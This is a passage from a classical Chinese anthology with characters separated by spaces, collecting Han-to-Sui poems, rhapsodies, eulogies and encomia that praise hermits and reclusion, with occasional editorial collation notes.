曰 . 春 夜 芳 时 晚 . 幽 庭 野 气 深 . 山 疑 刻 削 意 . 树 接 纵 横 阴 . 户 对 忘 忧 草 . 池 惊 旅 浴 禽 . 樽 中 良 得 性 . 物 外 知 余 心 .\n隋 王 由 礼 赋 得 岩 穴 无 结 构 诗 曰 . 岩 闲 无 结 构 . 谷 处 极 幽 寻 . 叶 落 秋 巢 迫 . 云 生 石 路 深 . 早 梅 香 野 径 . 清 涧 响 丘 琴 . 独 有 栖 迟 客 . 留 连 芳 杜 心 .\n【 赋 】 后 汉 张 衡 归 田 赋 曰 . 游 都 邑 以 永 久 . 无 明 略 以 佐 时 . 徒 临 川 以 羡 鱼 . 俟 河 清 乎 未 期 . 感 蔡 子 之 慷 慨 . 从 唐 生 以 决 疑 . 谅 天 道 之 微 昧 . 追 渔 父 以 同 嬉 . 于 是 仲 春 令 月 . 时 和 气 清 . 原 隰 郁 茂 . 百 草 滋 荣 . 王 睢 鼓 翼 . 仓 庚 哀 鸣 . 交 颈 颉 ● . 关 关 嘤 嘤 . 于 焉 逍 遥 . 聊 以 娱 情 . 于 时 曜 灵 俄 景 . 继 以 望 舒 . 极 盘 游 之 至 乐 . 虽 日 夕 以 忘 劬 . 感 老 氏 之 遗 诫 . 且 回 驾 乎 蓬 庐 . 弹 五 弦 之 妙 指 . 咏 周 孔 之 图 书 . 挥 翰 墨 以 奋 藻 . 陈 三 皇 之 轨 模 . 苟 纵 心 于 域 外 . 焉 知 荣 辱 之 所 拘 .\n魏 陈 王 曹 植 潜 志 赋 曰 . 潜 大 道 以 游 志 . 希 往 昔 之 遐 烈 . 矫 贞 亮 以 作 矢 . 当 苑 囿 乎 艺 窟 . 驱 仁 义 以 为 禽 . 必 信 中 而 后 发 . 退 隐 身 以 灭 迹 . 进 出 世 而 取 容 . 且 摧 刚 而 和 谋 . 接 处 肃 以 静 恭 . 亮 知 荣 而 守 辱 . 匪 天 路 以 焉 通 .\n晋 张 华 归 田 赋 曰 . 随 阴 阳 之 开 阖 . 从 时 宜 以 卷 舒 . 冬 奥 处 以 城 邑 . 春 游 放 于 外 庐 . 归 郏 鄏 之 旧 里 . 托 言 静 以 闲 居 . 育 草 木 之 蔼 蔚 . 因 地 势 之 丘 墟 . 丰 蔬 果 之 林 错 . 茂 桑 麻 之 纷 敷 . 用 天 道 以 取 资 . 行 药 物 以 为 娱 . 时 逍 遥 于 洛 滨 . 聊 相 佯 以 纵 意 . 目 白 沙 与 积 砾 . 玩 众 卉 之 同 异 . 扬 素 波 以 濯 足 . 溯 清 澜 以 荡 思 . 低 徊 住 留 . 栖 迟 庵 蔼 . 存 神 忽 微 . 游 精 域 外 . 藉 纤 草 以 为 茵 . 援 垂 阴 以 为 盖 . 瞻 高 鸟 之 陵 风 . 临 鯈 鱼 于 清 濑 . 眇 万 物 而 远 观 . 脩 自 然 之 通 会 . 以 退 足 于 一 壑 . 故 处 否 而 忘 泰 .\n晋 陆 机 幽 人 赋 曰 . 世 有 幽 人 . 渔 钓 乎 玄 渚 . 弹 云 冕 以 辞 世 . 披 宵 褐 而 延 伫 . 是 以 物 外 莫 得 窥 其 奥 . 举 世 不 足 扬 其 波 . 劲 秋 不 能 凋 其 叶 . 芳 春 不 能 发 其 华 . 超 尘 冥 以 绝 绪 . 岂 世 网 之 能 加 .\n又 应 嘉 赋 曰 . 友 人 有 作 嘉 遁 赋 与 余 者 . 作 赋 应 之 . 号 曰 应 嘉 云 . 傲 世 公 子 . 体 逸 怀 遐 . 意 邈 澄 宵 . 神 夷 静 波 . 仰 群 轨 以 遥 企 . 顿 骏 翮 以 婆 娑 . 寄 冲 气 于 大 象 . 解 心 累 于 世 罗 . 袭 三 闾 之 奇 服 . 咏 南 荣 之 清 歌 . 濯 下 泉 于 浚 涧 . 溯 凯 风 于 卷 阿 . 指 千 秋 以 厉 响 . 俟 寂 寞 之 来 和 . 怀 前 脩 之 仿 佛 . 觌 幽 人 乎 所 过 . 抱 玄 景 以 独 寐 . 含 芳 风 而 寤 语 . 发 兰 音 以 清 唱 . 掺 玉 怀 而 喻 予 . 于 是 葺 宇 中 陵 . 筑 室 河 曲 . 轨 绝 千 途 . 而 门 瞻 百 族 . 假 妙 道 以 达 观 . 考 贲 龟 而 贞 卜 . 苟 形 骸 之 可 忘 . 岂 投 簪 其 必 谷 . 方 介 丘 于 尺 阜 . 托 云 林 乎 一 木 . 伫 鸣 条 以 招 风 . 聆 哀 音 其 如 玉 . 穷 览 物 以 尽 齿 . 将 弭 迹 于 余 足 .\n晋 陆 云 逸 民 赋 曰 . 富 贵 者 . 是 人 之 所 欲 . 而 古 之 逸 民 . 轻 天 下 . 细 万 物 . 而 欲 专 一 丘 之 欢 . 擅 一 壑 之 美 . 岂 不 以 身 重 于 宇 宙 . 而 恬 贵 于 芬 华 哉 . 天 地 不 易 其 乐 . 万 物 不 干 其 志 . 然 后 可 以 妙 有 生 之 极 . 固 无 疆 之 休 . 乃 为 赋 曰 . 世 有 逸 人 . 栖 迟 乎 一 丘 . 委 天 形 以 外 心 . 淡 浩 然 其 何 求 . 杖 短 策 而 遂 往 . 乃 枕 石 而 漱 流 . 静 芬 响 于 咏 言 . 灭 绝 景 于 质 . ○ 本 集 质 上 有 无 字 . 相 荒 土 以 卜 居 . 度 山 河 而 考 室 . 曾 丘 翳 荟 . 穹 谷 重 深 . 岩 木 振 颖 . 葛 藟 垂 阴 . 潜 鱼 泳 沚 . 嘤 鸟 来 吟 . 仍 疏 圃 于 兹 薄 . 即 兰 堂 于 芳 林 . 靡 飞 飘 以 赴 节 . 挥 天 籁 以 兴 音 . 假 乐 之 于 神 造 . 咏 幽 人 于 鸣 琴 .\n晋 孙 承 嘉 遁 赋 曰 . 有 嘉 遁 之 玄 人 . 含 贞 光 之 凯 迈 . 靡 薜 荔 于 苑 柳 . 荫 翠 叶 之 云 盖 . 挥 脩 纶 于 洄 澜 . 临 峥 嵘 而 式 坠 . 溯 清 风 以 长 啸 . 咏 九 韶 而 忘 味 . 若 乃 御 有 抚 生 . 应 物 宅 心 . 曜 应 春 圃 . 凋 叶 秋 林 . 振 藻 阳 波 . 清 景 玄 阴 . 形 犹 与 以 徙 靡 . 神 旷 寂 而 难 寻 . 浑 无 名 于 域 外 . 和 丘 中 以 草 音 . 于 是 混 心 齐 物 . 遨 翔 容 与 . 薄 言 采 薇 . 收 萝 中 野 . 朝 观 夷 陆 . 夕 步 兰 渚 . 仰 弋 鸣 雁 . 俯 钓 鲂 魣 . 游 无 方 之 内 . 居 无 形 之 域 . 咏 休 遁 之 贞 亨 . 察 天 心 而 观 复 . 委 性 命 于 玄 芒 . 任 吉 凶 而 靡 录 .\n宋 谢 灵 运 逸 民 赋 曰 . 于 止 唯 舍 唯 用 . 其 见 也 则 如 游 龙 . 其 潜 也 则 如 隐 凤 . 来 无 所 从 . 去 无 所 至 . 有 酒 则 舞 . 无 酒 则 醒 . 不 明 不 晦 . 不 昧 不 类 . 萧 条 秋 首 . 兀 我 春 中 . 弄 琴 明 月 . 酌 酒 和 风 . 御 清 风 以 远 路 . 拂 白 云 而 峻 举 . 指 寰 中 以 为 期 . 望 系 外 而 延 伫 .\n又 入 道 至 人 赋 曰 . 爰 有 名 外 之 至 人 . 乃 入 道 而 馆 真 . 荒 聪 明 以 削 智 . 遁 支 体 以 逃 身 . 于 是 卜 居 千 仞 . 左 右 穷 悬 . 幽 庭 虚 绝 . 荒 帐 成 烟 . 水 纵 横 以 触 石 . 日 参 差 于 云 中 . 飞 英 明 于 对 溜 . 积 氤 氲 而 为 峰 . 推 天 地 于 一 物 . 横 四 海 于 寸 心 . 超 埃 尘 以 贞 观 . 何 落 落 此 胸 襟 .\n又 辞 禄 赋 曰 . 荷 赏 延 之 渥 恩 . 在 弱 龄 而 覃 惠 . 蒙 圣 达 之 眷 顾 . 得 乘 闲 以 沉 泄 . 虽 镳 羁 之 有 名 . 恒 游 奖 而 匪 滞 . 解 龟 纽 于 城 邑 . 反 褐 衣 于 丘 窟 . 判 人 事 于 一 朝 . 与 世 物 乎 长 绝 . 自 牵 缀 于 朱 丝 . 奄 二 九 于 斯 年 . 服 缨 佩 于 两 宫 . 执 鞭 笏 于 宰 蕃 .\n梁 简 文 帝 玄 虚 公 子 赋 曰 . 有 玄 虚 之 公 子 . 轻 灭 喧 俗 . 保 此 大 愚 . 居 荣 利 而 不 染 . 岂 声 色 而 能 拘 . 回 还 四 始 . 出 入 三 坟 . 心 溶 溶 于 玄 境 . 意 飘 飘 于 白 云 . 追 寂 圃 而 逍 遥 . 任 文 林 而 佚 宕 . 忘 情 于 物 我 之 表 . 纵 志 于 有 无 之 上 . 不 为 山 而 自 高 . 不 为 海 而 弥 广 .\n梁 陆 倕 思 田 赋 曰 . 岁 聿 忽 其 云 暮 . 庭 草 飒 以 萎 黄 . 风 飗 飗 以 吹 隙 . 灯 黯 黯 而 无 光 . 独 展 转 而 不 寐 . 何 增 叹 而 自 伤 . 于 是 踟 蹰 徙 倚 . 顾 景 兴 怀 . 魂 茕 茕 以 至 曙 . 缀 予 想 于 田 莱 . 彼 五 亩 其 焉 在 . 乃 爰 洎 乎 江 隈 . 出 郭 门 而 东 鹜 . 入 浦 而 南 回 . 尔 乃 观 其 水 陆 物 产 . 原 隰 形 便 . 林 薮 挺 直 . 丘 陵 带 面 . 临 九 曲 之 回 江 . 对 千 里 之 平 甸 . 风 去 苹 其 已 开 . 日 登 桑 而 先 见 . 听 啁 哳 之 寒 鸡 . 弄 差 池 之 春 鷰 . 临 场 圃 以 筑 馆 . 对 棂 轩 而 凿 池 . 集 游 泳 于 阶 下 . 引 朝 派 于 堂 垂 . 瞻 巨 石 之 前 却 . 玩 激 水 之 推 移 . 杂 青 莎 之 靃 靡 . 拂 细 柳 之 长 枝 . 感 风 烛 与 石 火 . 嗟 民 生 其 如 寄 . 苟 有 胸 而 无 心 . 必 行 难 而 言 易 . 幸 少 私 而 寡 欲 . 兼 绝 仁 以 弃 智 . 忽 学 步 而 学 趾 . 又 追 飞 而 厉 翅 . 瞻 鹿 囿 而 窃 高 . 仰 疆 台 而 慕 义 . 历 四 时 于 游 水 . 驰 三 稔 于 申 臂 . 望 归 流 而 载 怀 . 情 郁 悒 其 何 置 .\n宋 陶 潜 归 去 来 曰 . 归 去 来 兮 . 田 园 将 芜 胡 不 归 . 既 自 以 心 为 形 役 . 奚 惆 怅 而 独 悲 . 悟 已 往 之 不 谏 . 知 来 者 之 可 追 . 寔 迷 途 其 未 远 . 觉 今 是 而 昨 非 . 舟 遥 遥 而 轻 飏 . 风 飘 飘 而 吹 衣 . 乃 瞻 衡 宇 . 载 欣 载 奔 . 僮 仆 欢 迎 . 稚 子 候 门 . 三 径 就 荒 . 松 菊 犹 存 . 携 幼 入 室 . 有 酒 盈 樽 引 壶 觞 以 自 酌 . 眄 庭 柯 以 怡 颜 . 倚 南 窗 以 寄 傲 . 审 容 膝 之 易 安 . 策 扶 老 以 流 憩 . 时 矫 首 以 遐 观 . 云 无 心 而 出 岫 . 鸟 倦 飞 而 知 还 . 农 人 告 余 以 春 将 及 . 有 事 乎 西 畴 . 或 命 巾 车 . 或 桌 孤 舟 . 既 窈 窕 而 寻 壑 . 亦 崎 岖 而 经 丘 . 木 欣 欣 以 向 荣 . 泉 涓 涓 而 始 流 . 善 万 物 之 得 所 . 感 吾 年 之 行 休 . 已 矣 乎 . 寓 形 宇 内 . 复 得 几 时 . 曷 不 委 心 任 去 留 . 胡 为 乎 遑 遑 欲 何 之 . 富 贵 非 吾 愿 . 帝 乡 不 可 期 . 怀 良 辰 以 孤 往 . 或 植 杖 而 耘 耔 . 登 东 皋 以 舒 啸 . 临 清 流 而 赋 诗 . 聊 乘 化 以 归 尽 . 乐 夫 天 命 复 奚 疑 .\n梁 沈 约 八 咏 守 山 东 曰 . 守 山 东 . 山 东 万 岭 郁 青 葱 . 两 溪 共 一 泻 . 水 洁 望 如 空 . 岸 侧 青 莎 被 . 岩 间 丹 桂 丛 . 上 瞻 既 隐 轸 . 下 睇 亦 冥 蒙 . 远 林 响 咆 兽 . 近 树 聒 鸣 虫 . 路 出 若 溪 ○ 原 讹 然 . 据 冯 校 本 改 . 右 . 涧 吐 金 华 东 . 万 仞 倒 危 石 . 百 丈 注 悬 潀 . 掣 曳 写 流 电 . 奔 飞 似 白 虹 . 洞 井 含 清 气 . 漏 穴 吐 飞 风 . 玉 窦 膏 滴 沥 . 石 室 乳 空 笼 . 余 平 生 之 所 爱 . 欻 暮 年 而 此 逢 . 欲 一 去 而 不 还 . 恨 邦 君 之 未 禘 . 秩 满 抚 白 云 . 淹 留 事 芝 髓 .\n【 颂 】 晋 潘 岳 许 由 颂 曰 . 邈 哉 许 公 . 执 真 履 贞 . 辞 尧 天 下 . 抱 朴 隐 形 . 川 停 岳 峙 . 澹 泊 无 营 . 栖 迟 高 山 . 与 世 靡 争 . 虚 薄 忝 任 . 来 宰 斯 城 . 愧 无 惠 化 . 豹 产 之 政 . 峨 峨 治 所 . 乐 慕 景 名 . 登 基 逍 遥 . 来 过 暮 庭 . 通 于 时 宪 . 顷 匡 不 盈 . 恨 无 旨 酒 . 奠 公 之 灵 . 死 而 不 朽 . 公 有 其 荣 . 聊 述 雅 美 . 扬 公 馨 声 .\n晋 孙 绰 聘 士 徐 君 墓 颂 曰 . 晋 南 昌 相 太 原 县 君 . 白 汉 故 聘 士 徐 君 之 ● . 惟 君 风 轨 英 邃 . 德 音 徽 远 . 播 餐 仰 芳 . 流 宗 播 揖 . 在 昔 古 人 有 言 . 闻 伯 夷 之 风 者 . 懦 夫 有 立 志 . 仰 先 生 之 道 . 岂 无 青 云 之 怀 哉 . 余 以 不 才 . 忝 宰 兹 邑 . 遐 宗 有 道 . 思 揖 远 风 . 乃 与 友 人 殷 浩 等 . 束 带 灵 坟 . 奉 瞻 祠 宇 . 虽 玉 质 幽 潜 . 而 目 想 令 仪 . 雅 音 永 寂 . 而 心 存 高 范 . 徘 徊 墟 垄 . 仰 眄 松 林 . 哀 有 形 之 短 . ○ 全 晋 文 六 十 一 短 下 有 化 字 . 悼 令 德 之 长 泯 . 怃 然 有 感 . 凄 焉 增 伤 . 夫 讽 谣 生 于 情 托 . 雅 颂 兴 乎 所 钦 . 匪 于 咏 述 . 孰 寄 斯 怀 . 颂 曰 . 岩 岩 先 生 . 迈 此 英 风 . 含 真 独 畅 . 心 夷 体 冲 . 高 蹈 域 表 . 淑 问 显 融 . 昂 昂 五 贤 . 赫 赫 八 俊 . 虽 曰 休 明 . 或 婴 险 愆 . 岂 若 先 生 . 保 兹 玉 润 . 超 世 作 范 . 流 光 遐 振 . 坟 茔 垒 落 . 松 竹 萧 森 . 荟 丛 蔚 蔚 . 虚 宇 愔 愔 . 游 兽 戏 阿 . 嘤 鸟 鸣 林 . 嗟 乎 徐 君 . 不 闻 其 音 . 徘 徊 丘 侧 . 凄 焉 流 襟 . 何 以 舒 蕴 . 援 翰 托 心 .\n隋 江 总 庄 周 画 颂 曰 . 玉 洁 蒙 县 . 兰 薰 漆 园 . 丹 青 可 久 . 雅 道 斯 存 . 梦 中 化 蝶 . 水 外 翔 鲲 . 出 俗 灵 府 . 师 心 妙 门 . 垂 竿 自 若 . 重 聘 忘 言 . 悠 哉 天 地 . 共 是 笼 樊 .\n【 赞 】 后 汉 蔡 邕 焦 君 赞 曰 . 猗 欤 焦 君 . 常 此 玄 墨 . 衡 门 之 下 . 栖 迟 偃 息 . 泌 之 洋 洋 . 乐 以 忘 食 . 鹤 鸣 九 皋 . 音 亮 帝 侧 . 乃 征 乃 用 . 将 受 衮 职 . 昊 天 不 吊 . 贤 人 遘 慝 . 不 惟 一 志 . 并 此 四 国 . 如 何 穹 苍 . 不 诏 斯 或 . 惜 哉 朝 廷 . 丧 兹 旧 德 . 恨 以 学 士 . 将 何 法 则 .\n魏 陈 王 曹 植 许 由 巢 父 池 主 赞 曰 . 尧 禅 许 由 . 巢 父 是 耻 . 秽 其 圂 听 . 临 河 洗 耳 . 池 主 是 让 . 以 水 为 浊 . 嗟 此 三 士 . 清 足 厉 俗 .\n又 卞 随 赞 曰 . 汤 将 伐 桀 . 谋 于 卞 子 . 既 克 让 位 . 随 以 为 耻 . 薄 于 殷 世 . 着 自 污 己 . 自 投 颍 水 . 清 风 邈 矣 .\n又 南 山 四 皓 赞 曰 . 嗟 尔 四 皓 . 避 秦 隐 形 . 刘 项 之 争 . 养 志 弗 营 . 不 应 朝 聘 . 保 节 全 贞 . 应 命 太 子 . 汉 嗣 以 宁 .\n晋 夏 侯 湛 范 蠡 赞 曰 . 悠 悠 范 子 . 求 仁 在 己 . 进 报 危 国 . 退 弘 妙 理 . 身 与 勋 偕 . 名 与 身 否 . 逸 群 远 游 . 永 齐 终 始 .\n又 鲁 仲 连 赞 曰 . 峨 峨 先 生 . 有 邈 其 节 . 流 仁 忧 乱 . 抗 道 自 洁 . 随 事 抑 扬 . 与 时 开 闭 . 在 幽 能 泰 . 处 闷 惟 悦 .\n又 庄 周 赞 曰 . 迈 迈 庄 周 . 腾 世 独 游 . 遁 时 放 言 . 齐 物 绝 尤 . 垂 钓 一 壑 . 取 戒 牺 牛 . 望 风 寄 心 . 托 志 清 流 .\n晋 孙 楚 庄 周 赞 曰 . 庄 周 旷 荡 . 高 才 英 俊 . 本 道 根 贞 . 归 于 大 顺 . 妻 之 不 哭 . 亦 何 所 欢 . 慢 吊 鼓 缶 . 放 此 诞 言 . 殆 矫 其 情 . 近 失 自 然 .\n又 荣 启 期 赞 曰 . 荣 公 温 雅 . 既 怡 既 怿 . 浊 以 徐 清 . 寂 然 澹 泊 . 援 琴 自 娱 . 咏 此 三 乐 . 眉 寿 无 疆 . 惟 德 之 宅 .\n又 原 壤 赞 曰 . 壤 之 辀 张 . 绝 灭 礼 教 . 实 交 仲 尼 . 同 机 合 奥 . 圣 以 之 臧 . 俗 以 之 笑 . 独 协 区 外 . 孰 知 其 妙 .\n晋 左 九 嫔 巢 父 惠 施 赞 曰 . 泱 泱 长 流 . 沔 沔 清 波 . 思 文 巢 惠 . 载 咏 载 歌 . 垂 纶 一 壑 . 万 象 匪 多 . 神 乎 畅 矣 . 缅 同 基 阿 .\n晋 庾 阐 孙 登 赞 曰 . 灵 岩 霞 蔚 . 石 室 鳞 构 . 青 松 标 空 . 兰 泉 吐 漏 . 笼 荟 可 游 . 芳 津 可 漱 . 玄 谷 萧 寥 . 鸣 琴 独 奏 . 先 生 体 之 . 寂 坐 幽 岸 . 凝 冰 结 朴 . 熙 阳 靡 焕 . 潜 真 内 全 . 飞 荣 外 散 . 凌 崖 高 啸 . 希 风 朗 弹 . 道 有 冥 废 . 运 有 昏 消 . 达 隐 不 岩 . 玄 迹 不 标 . 或 曰 先 生 . 晦 德 逍 遥 . 嵇 子 秀 达 . 英 风 朗 烈 . 道 俊 薰 芳 . 鲜 不 玉 折 . 兆 动 初 萌 . 妙 鉴 奇 绝 . 翘 首 丘 冥 . 仰 想 玄 哲 .\n晋 戴 逵 闲 游 赞 曰 . 昔 神 人 在 上 . 辅 其 天 理 . 知 溟 海 之 禽 . 不 以 笼 樊 服 养 . 栎 散 之 质 . 不 以 斧 斤 致 用 . 故 能 树 之 于 广 汉 . 栖 之 于 江 湖 . 载 之 以 大 猷 . 覆 之 以 玄 风 . 使 夫 淳 朴 之 心 . 静 一 之 性 . 咸 得 就 山 泽 . 乐 闲 旷 . 自 此 而 箕 岭 之 下 . 始 有 闲 游 之 人 焉 . 降 及 黄 绮 . 逮 于 台 尚 . 莫 不 有 以 保 其 太 和 . 肆 其 天 真 者 也 . 且 夫 岩 岭 高 则 云 霞 之 气 鲜 . 林 薮 深 则 萧 瑟 之 音 清 . 其 可 以 藻 玄 莹 素 . 疪 其 皓 然 者 . 舍 是 焉 . 故 虽 援 世 之 彦 . 翼 教 之 杰 . 放 舞 雩 以 发 咏 . 闻 乘 桴 而 懔 厉 . 况 乎 道 乖 方 内 . 体 绝 风 尘 . 理 揖 长 谢 . 歌 凤 逡 巡 . 荡 八 疵 于 玄 流 . 澄 云 崖 而 颐 神 者 哉 . 然 如 山 林 之 客 . 非 徒 逃 人 患 . 避 争 门 . 谅 所 以 翼 顺 资 和 . 涤 除 机 心 . 容 养 淳 淑 . 而 自 适 者 尔 . 凡 物 莫 不 以 适 为 得 . 以 足 为 至 . 彼 闲 游 者 . 奚 往 而 不 适 . 奚 待 而 不 足 . 故 荫 映 岩 流 之 际 . 偃 息 琴 书 之 侧 . 寄 心 松 竹 . 取 乐 鱼 鸟 . 则 澹 泊 之 愿 . 于 是 毕 矣 . 然 奇 趣 难 均 . 玄 契 罕 遇 . 终 古 皆 孤 栖 于 一 岩 . 独 玩 于 一 流 . 苟 有 情 而 未 忘 . 有 感 而 无 对 . 则 缀 斤 寝 弦 之 叹 . 固 已 幽 结 于 林 中 . 骤 感 于 遐 心 . 为 日 久 矣 . 我 故 遂 求 方 外 之 美 . 略 举 养 和 之 具 . 为 杂 赞 八 首 . 畅 其 所 托 . 始 欣 闲 游 之 遐 逸 . 终 感 嘉 契 之 难 会 . 以 广 一 往 之 咏 . 以 抒 幽 人 之 心 云 尔 . 茫 茫 草 昧 . 绵 邈 玄 世 . 三 极 未 鼓 . 天 人 无 际 . 万 器 既 判 . ● 朴 乃 翳 . 寔 有 神 宰 . 忘 怀 司 契 . 冥 外 傍 通 . 潜 感 莫 滞 . 总 顺 巢 . 兼 应 夷 惠 . 缅 矣 遐 心 . 超 哉 绝 步 . 顾 揖 百 王 . 仰 怡 泰 素 . 矜 其 天 真 . 外 其 嚣 务 . 详 观 群 品 . 驰 神 万 虑 . 谁 能 高 佚 . 悠 然 一 悟 .\n又 尚 长 赞 曰 . 尚 叟 冲 顺 . 庸 行 昏 世 . 和 龙 婉 约 . 玄 识 罔 滞 . 瞻 彼 崇 高 . 俄 为 尘 翳 . 亦 有 同 好 . 潜 庄 宿 契 . 超 超 增 翥 . 眇 眇 偕 逝 . 迹 绝 青 崖 . 影 灭 云 际 .\n晋 庾 亮 翟 征 君 赞 曰 . 夫 所 谓 至 人 者 . 体 包 杰 量 . 神 凝 域 表 . 该 落 万 动 . 玄 心 独 融 . 故 能 虬 骧 庆 霄 . 而 不 绁 豢 龙 之 辔 . 凤 鸣 瑶 林 . 而 不 屈 伶 伦 之 笼 . 岂 必 欣 太 清 而 乐 琼 蔼 哉 . 顾 蹄 涔 不 足 以 濯 神 须 . 翳 荟 不 足 以 翔 云 翮 . 是 故 藐 姑 有 绰 约 之 庐 . 箕 阜 有 高 啸 之 宇 . 唐 勋 表 于 玄 庭 . 夏 功 忘 于 虚 室 . 晋 征 士 南 阳 翟 君 . 禀 逸 韵 于 天 陶 . 含 冲 气 于 特 秀 . 体 虚 任 而 委 顺 . 恢 昭 旷 而 高 蹈 . 先 生 载 营 抱 一 . 泊 然 独 处 . 神 栖 飙 蔼 之 表 . 形 逸 岩 泽 之 隅 . 虽 束 帛 仍 降 . 轺 冕 屡 招 . 而 弓 旌 屈 于 匪 石 . 帝 命 惭 于 虚 复 矣 . 是 以 高 风 振 宇 宙 远 咏 冠 当 时 . 方 将 表 大 庭 于 绝 代 . 恢 玄 解 以 释 纷 . 仰 朝 霞 而 晞 翼 . 陵 扶 摇 以 独 翔 . 景 命 不 延 . 卒 于 寻 阳 之 南 山 . 哲 人 其 萎 . 高 轨 孰 仿 . 余 钦 若 人 之 风 . 常 问 道 于 无 何 之 庐 . 宾 想 玄 珠 . 主 以 瞻 授 . 沐 道 沾 淳 . 固 以 实 而 归 矣 . 自 昔 之 违 . 于 兹 七 稔 . 何 悟 先 生 . 忽 焉 升 遐 . 感 至 德 之 长 泯 . 悼 仁 风 之 永 翳 . 标 尔 其 伤 . 潸 然 增 欷 . 乃 援 翰 咏 迹 . 以 宣 来 叶 . 其 辞 曰 . 卓 哉 先 生 . 逸 韵 遐 超 . 虬 盘 玉 津 . 凤 戢 琼 条 . 涤 耳 夏 鼎 . 高 揖 唐 朝 . 洪 崖 邈 矣 . 玄 迹 载 劭 . 淳 风 沐 世 . 飞 芳 九 霄 .\n晋 方 湛 ○ 全 晋 文 一 百 四 十 作 湛 方 生 . 此 有 讹 倒 . 北 叟 赞 曰 . 乐 为 忧 根 . 祸 为 福 始 . 数 极 则 旋 . 往 复 迭 起 . 世 人 迷 之 . 横 生 欣 耻 . 滔 滔 北 叟 . 独 亮 真 理 . 丧 马 弗 希 . 折 肱 愈 喜 . 淡 哉 一 生 . 无 泰 无 否 .\n宋 陶 潜 张 长 公 赞 曰 . 达 哉 长 公 . 萧 然 何 事 . 世 路 皆 同 . 而 我 独 异 . 敛 辔 朅 来 . 闲 养 其 志 . 寝 迹 穷 年 . 谁 知 斯 意 .\n又 周 妙 珪 赞 曰 . 美 哉 周 子 . 称 疾 闲 居 . 寄 心 清 商 . 恬 然 自 娱 . 翳 翳 衡 门 . 洋 洋 泌 流 . 日 玩 群 书 . 顾 眄 寡 畴 . 饮 河 既 足 . 自 外 皆 休 . 缅 怀 千 载 . 托 契 孤 游 .\n又 鲁 二 儒 赞 曰 . 易 大 随 时 . 迷 变 则 愚 . 芬 芬 若 人 . 特 为 贞 夫 . 德 不 百 年 . 污 我 诗 书 . 逝 焉 不 顾 . 被 褐 幽 居 .\n又 夷 齐 赞 曰 . 二 子 让 国 . 相 随 海 隅 . 天 人 革 命 . 绝 景 穷 居 . 采 薇 高 歌 . 慨 想 黄 虞 . 贞 风 凌 俗 . 爰 感 懦 夫 .\n又 尚 长 禽 庆 赞 曰 . 尚 子 昔 薄 宦 . 妻 孥 共 早 晚 . 贫 贱 与 富 贵 . 读 易 悟 益 损 . 禽 生 善 周 游 . 周 游 日 已 远 . 去 矣 寻 名 山 . 上 山 岂 知 反 .\n宋 范 泰 张 长 公 赞 曰 . 长 公 秉 心 . 独 逸 世 表 . 量 物 难 同 . 审 己 弥 了 . 情 虽 高 邃 . 迹 无 抗 矫 . 靡 当 夷 惠 . 孰 识 多 少 .\n又 高 凤 赞 曰 . 遐 哉 玄 古 . 邈 矣 皇 羲 . 自 兹 已 降 . 显 默 参 差 . 智 为 世 骇 . 才 为 物 奇 . 迹 出 无 泯 . 潜 跃 俱 驰 . 暧 暧 若 人 . 孰 测 其 为 . 戢 曜 幽 壑 . 采 真 重 崖 . 冲 情 莫 亮 . 污 迹 示 疵 . 轻 俗 无 际 . 肆 志 莫 羁 .\n又 吴 季 子 札 赞 曰 . 延 州 高 远 . 弃 国 帅 诚 . 优 游 大 邑 . 观 风 上 京 . 仁 怀 邦 壤 . 道 畅 圣 明 . 鉴 彻 昔 代 . 乐 察 未 形 . 嬴 博 远 死 . 解 剑 在 生 . 夫 子 戾 止 . 爰 诏 作 名 .\n齐 王 俭 竟 陵 王 山 居 赞 曰 . 升 堂 践 室 . 金 晖 玉 朗 . 亹 亹 大 韶 . 遥 遥 闲 赏 . 道 以 德 弘 . 声 由 业 广 . 义 重 实 归 . 情 深 虚 往 . 濠 梁 在 兹 . 安 事 遐 想 .\n梁 沈 约 高 士 赞 曰 . 余 之 所 谓 高 士 者 . 悠 悠 皆 是 . 请 试 言 之 . 圣 人 莅 天 下 . 则 贤 人 赞 务 . 益 皋 陶 是 也 . 自 中 智 以 下 . 莫 有 不 学 以 从 政 佐 国 安 民 者 也 . 易 曰 . 圣 人 之 大 宝 曰 位 . 非 学 则 不 得 也 . 学 所 以 行 其 志 . 孝 悌 慈 仁 信 义 是 也 . 虽 诵 先 王 之 典 谟 . 而 不 行 其 志 . 圣 人 之 大 宝 . 亦 不 可 得 也 . 要 须 学 行 兼 有 . 然 后 取 之 . 悠 悠 之 徒 . 莫 不 攘 袂 而 议 进 取 . 怒 目 而 争 权 利 . 悦 愚 闇 . 苟 得 忘 廉 . 若 斯 人 者 . 岂 入 国 士 之 涂 . 动 衣 冠 之 眄 . 藉 此 而 登 高 位 . 未 或 有 也 . 赞 曰 . 亦 有 哲 人 . 独 执 高 志 . 避 世 避 言 . 不 友 不 事 . 耻 从 污 禄 . 靡 惑 守 饵 . 心 安 藜 藿 . 口 绝 炮 胾 . 取 足 落 毛 . 宁 怀 组 织 . 如 金 在 沙 . 显 然 自 异 . 犹 玉 在 泥 . 涅 而 不 缁 . 身 标 远 迹 . 名 重 前 记 . 有 美 高 尚 . 处 知 若 无 . 劣 哉 群 品 . 事 静 心 驱 . 苟 能 立 志 . 争 此 疋 夫 . 进 忘 陨 获 . 退 守 恬 愉 . 曰 仁 与 义 . 其 径 不 迂 . 为 之 则 至 . 非 物 所 拘 . 宦 成 名 立 . 陟 彼 高 衢 .\n又 销 声 赞 曰 . 寂 矣 栖 魂 . 非 海 非 樊 . 若 人 焉 往 . 斯 理 空 存 . 天 标 已 暧 . 绝 羽 孤 骞 . 尧 逢 岂 让 . 札 值 奚 言 .\n周 庾 信 五 月 披 裘 负 薪 画 赞 曰 . 披 裘 当 夏 . 俗 外 为 心 . 虽 逢 季 子 . 不 拾 遗 金 . 禽 巢 欲 远 . 鱼 穴 惟 深 . 消 声 灭 迹 . 何 必 山 林 .\n又 张 良 遇 黄 石 公 画 赞 . 张 良 取 履 . 跪 授 无 辞 . 兵 书 一 卷 . 长 者 之 期 . 昔 称 韩 相 . 今 为 汉 师 . 谷 城 余 石 . 还 归 旧 祠 .\n又 荣 启 期 三 乐 画 赞 曰 . 荣 期 三 乐 . 惟 人 与 年 . 夫 子 相 遇 . 即 以 为 贤 . 性 ● 造 化 . 风 云 自 然 . 雅 音 虽 古 . 独 有 鸣 弦 .\n【 箴 】 晋 庾 凯 幽 人 箴 曰 . 有 物 混 成 . 先 天 地 生 . 乃 剖 乃 判 . 二 仪 既 分 . 高 卑 以 陈 . 贵 贱 攸 位 . 荣 辱 相 换 . 干 道 尚 